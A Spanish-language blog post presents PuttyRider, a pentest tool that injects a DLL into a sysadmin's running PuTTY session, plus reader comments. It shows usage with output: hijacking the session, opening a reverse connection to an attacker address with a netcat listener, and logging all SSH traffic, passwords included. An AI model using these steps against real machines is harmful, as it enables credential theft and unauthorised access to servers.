PuttyRider: pivotando mediante el Putty de un sysadmin hacia un servidor que se "resiste"

Una herramienta que presentaron en la Defcamp 2014 y que me llamó mucho la atención es PuttyRider de Adrian Furtunã de KPMG Rumanía. Con esta herramienta es posible aprovechar la máquina de un sysadmin que está conectado mediante Putty a un servidor Linux (SSH, Telnet, Rlogin), pudiendo pivotar desde su máquina hacia dicho servidor, algo ideal en un pentest donde no hemos descubierto ninguna vulnerabilidad importante para comprometerlo.


Como veis, lo que hace es "montar" la sesión Putty pudiendo esnifar el tráfico (incluido contraseñas) e inyectar comandos con los privilegios del usuario. Se basa en PuttyHijack e utiliza también inyección de DLLs y function hooking para secuestrar el proceso de Putty, pero además funciona con todas las versiones, con los últimos SO (Windows 8, Windows 7, etc) y no requiere privilegios de administración.

Ejemplos:

 
Lista los procesos Putty en la máquina y su estado (inyectado o no inyectado):

C:\PuttyRider-bin>PuttyRider.exe -l

PuttyRider v0.1
===============
[+] Listing running Putty processes...
Process Name    PID     Local Address           Remote Address          Injected
------------    ---     -------------           --------------          --------
putty.exe       3112    192.168.86.1:1479       192.168.86.128:22       No

Inyecta la DLL dentro del primer proceso putty.exe encontrado e inicia una conexión inversa desde la DLL a la IP/puerto del atacante.
Primero escuchamos con netcat...

C:\PuttyRider-bin>nc -v -l -p 8080
listening on [any] 8080 ...

...luego lanzamos el shell inverso...

C:\PuttyRider-bin>PuttyRider.exe -p 0 -r 192.168.1.10:8080

PuttyRider v0.1
===============
[+] Searching for a Putty process...
[+] Using putty.exe PID=4060
[+] Injecting DLL...
[+] Pipe client connected
[+] [4060] Target path: C:\putty.exe
[+] [4060] Base address: 00400000
[+] [4060] .text start address: 00001000
[+] [4060] .text size: 00053371
[+] [4060] ldisc_send() found at: 00407948
[+] [4060] term_data() found at: 0043551e
[+] [4060] Connecting to 192.168.1.10:8080
[+] [4060] Reverse connection succeeded
[+] [4060] Function hooks installed successfully
[+] Check the log file and/or the remote connection handler
[+] Exiting PuttyRider

...y comprobamos que se ha conectado correctamente:

C:\PuttyRider-bin>nc -v -l -p 8080
listening on [any] 8080 ...
connect to [192.168.1.10] from rampage [192.168.1.10] 1756

PuttyRider v0.1
===============
[+] [4060] Client connected. Putty PID=4060
[+] [4060] Type !help for more commands

Ejecuta en background a la espera de nuevos procesos Putty. Se inyecta en cualquier putty.exe nuevo y escribe todas las conversaciones en un fichero local:

C:\PuttyRider-bin>PuttyRider.exe -w -f

PuttyRider v0.1
===============
[+] Waiting for new Putty processes (in background)...
[+] Check the log file: C:\PuttyRider-bin\PuttyRider.log

Saca PuttyRider.dll de todos los procesos Putty que fueron inyectados (no olvides matar PuttyRider.exe si está ejecutándose en modo -w o de lo contrario se reinyectará otra vez).

C:\PuttyRider-bin>PuttyRider.exe -x

PuttyRider v0.1
===============
[+] Removing DLL from all Putty processes...
[+] Ejecting from Putty.exe pid=1752 - Success

Fuentes: https://github.com/seastorm/PuttyRider

4 comentarios :

  1. Interesante
    ¿ Y cómo es posible "inyectar" una DLL dentro de un proceso ?
    ¿ Es un fallo en Windows 7/8 o es alguna vulnerabilidad sólo de Putty ?

    ResponderEliminar
    Respuestas
    1. http://en.wikipedia.org/wiki/DLL_injection

      Eliminar
  2. No has encontrado ninguna vulnerabilidad importante, pero eres capaz de entrar y modificar la estación de trabajo de un administrador de sistemas.

    Hmm.... sin sentido.

    ResponderEliminar
    Respuestas
    1. discrepo, fácilmente podría pasar que aprovechemos una vulnerabilidad en Windows (véase por ej. la última de Kerberos) para acceder a una estación de trabajo de un administrador y luego aprovechemos su sesión Putty para saltar a un servidor Linux actualizado y fortificado, es más, incluso podríamos no tener acceso directo a dicho servidor por un firewall y la única opción para llegar a él fuera pivotar a través de su máquina...

      Eliminar